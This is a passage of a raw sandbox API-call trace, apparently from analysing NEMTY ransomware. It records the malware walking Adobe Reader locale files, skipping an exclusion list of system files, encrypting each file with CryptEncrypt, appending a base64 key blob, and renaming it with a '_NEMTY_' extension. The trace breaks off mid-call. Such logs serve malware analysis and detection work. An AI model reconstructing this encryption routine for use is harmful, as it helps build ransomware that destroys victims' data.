RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.KOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.KOR", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.KOR", lpUsedDefaultChar=0x0) returned 9 [0179.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.KOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.KOR", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.KOR", lpUsedDefaultChar=0x0) returned 9 [0179.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.532] Sleep (dwMilliseconds=0x5) [0179.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ea8f590, dwHighDateTime=0x1d561e8)) [0179.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ea8f590, dwHighDateTime=0x1d561e8)) [0179.538] GetLastError () returned 0x0 [0179.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.538] GetLastError () returned 0x0 [0179.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.538] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.538] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.539] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.539] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="C7ny2tEzDLidrSzty/ijR/rJMAAKb3GAWqO0avp0faPgl3UFRZkCYxr4K50hqwda\r\nCFcZukSPdg2oBQpO6SqJlrxKTu58AlpB4gREYgM+2t4Vp+Y8g+0tm8aFJpEHwqIw\r\nfIlZ5VhD26YmQqJYOti3VKuH9ullxHWhekMyxz3dXYICIVGIrftzdZk/gJw/Kf60\r\najlOONueCQQuQ1jxdIm+8owwYmfiVFOFmKsCCh8tBo2GnHRLh6nG9m0mpwqOwfdx\r\naFIIv8v+ZBpZht5BwfRYE/8QdBe7YaaZBGpCIla0q6KRc891Zm3fnSCNQJc9Zj14\r\nIx6VgFXkfk9GKv4Ig+azeA==\r\n", pcchString=0x653e5dc) returned 1 [0179.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.539] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\pddom.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\pddom.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.539] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=9216) returned 1 [0179.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2400) returned 0x6352c48 [0179.539] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.539] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2400, lpOverlapped=0x0) returned 1 [0179.575] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.575] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2400, lpOverlapped=0x0) returned 1 [0179.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.575] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=9216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2400 [0179.575] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.575] CloseHandle (hObject=0x2e8) returned 1 [0179.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0179.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0179.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0179.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.576] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\pddom.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\pddom.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\pddom.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\pddom.kor._nemty_kgobjgd_")) returned 1 [0179.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0179.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.576] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.KOR", cAlternateFileName="")) returned 1 [0179.576] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2=".") returned 1 [0179.576] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="..") returned 1 [0179.576] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="...") returned 1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="windows") returned -1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="rsa") returned -1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="NTDETECT.COM") returned 1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="ntldr") returned 1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="MSDOS.SYS") returned 1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="IO.SYS") returned 1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="boot.ini") returned 1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="boot.ini") returned 1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="ntuser.dat") returned 1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="desktop.ini") returned 1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="CONFIG.SYS") returned 1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="RECYCLER") returned -1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="bootmgr") returned 1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="programdata") returned -1 [0179.577] lstrcmpiW (lpString1="PPKLITE.KOR", lpString2="appdata") returned 1 [0179.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.KOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.KOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.KOR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.KOR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.578] Sleep (dwMilliseconds=0x5) [0179.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eb019b0, dwHighDateTime=0x1d561e8)) [0179.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eb019b0, dwHighDateTime=0x1d561e8)) [0179.585] GetLastError () returned 0x0 [0179.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.585] GetLastError () returned 0x0 [0179.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.585] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.585] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.585] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.585] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="MGjRDTPc7pQ16iTsUfXzHpUd2yudrzJps8HDdp/Z/HQ2Q5esw83lv8I41ZnzbaaB\r\nYSCTlkQ0fo+M7aDuuZXThzVSSytfbQfML1YaJe4xFEFwOVwT0vyNYkv7ACxX8ael\r\nk7q3J8nXNLKS4gHRK/6lGP4xn2o6n0hFJJLyx4MP56oD0slHTmDiVLUfKBvhl53F\r\n1a0h/jTJaYQMrm6HxOhRXPUP0gIrFhOR3QfMkoXk2Vrg4W2WjvDfgRX5BDd00qV6\r\nOP5LityPgU5F3/M74UYegFtMlvMsXVVVtqWupaY9pjcFofQ5GYsw9GqmszdU9XRY\r\nMFgB0p4G1Oa2W9L7YDTAPQ==\r\n", pcchString=0x653e5dc) returned 1 [0179.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.586] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\PPKLITE.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ppklite.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.586] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=366080) returned 1 [0179.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0179.586] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.586] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0179.595] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.595] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0179.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.595] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=366080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x59600 [0179.595] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.597] CloseHandle (hObject=0x2e8) returned 1 [0179.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.597] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\PPKLITE.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ppklite.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\PPKLITE.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ppklite.kor._nemty_kgobjgd_")) returned 1 [0179.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.598] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fafdf80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf9c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.KOR", cAlternateFileName="")) returned 1 [0179.598] lstrcmpiW (lpString1="RdLang32.KOR", lpString2=".") returned 1 [0179.598] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="..") returned 1 [0179.598] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="...") returned 1 [0179.598] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="windows") returned -1 [0179.598] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.598] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="rsa") returned -1 [0179.598] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="NTDETECT.COM") returned 1 [0179.598] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="ntldr") returned 1 [0179.598] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="MSDOS.SYS") returned 1 [0179.598] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="IO.SYS") returned 1 [0179.598] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="boot.ini") returned 1 [0179.598] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="boot.ini") returned 1 [0179.598] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.599] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="ntuser.dat") returned 1 [0179.599] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="desktop.ini") returned 1 [0179.599] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="CONFIG.SYS") returned 1 [0179.599] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="RECYCLER") returned -1 [0179.599] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.599] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="bootmgr") returned 1 [0179.599] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="programdata") returned 1 [0179.599] lstrcmpiW (lpString1="RdLang32.KOR", lpString2="appdata") returned 1 [0179.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.KOR", cchWideChar=12, 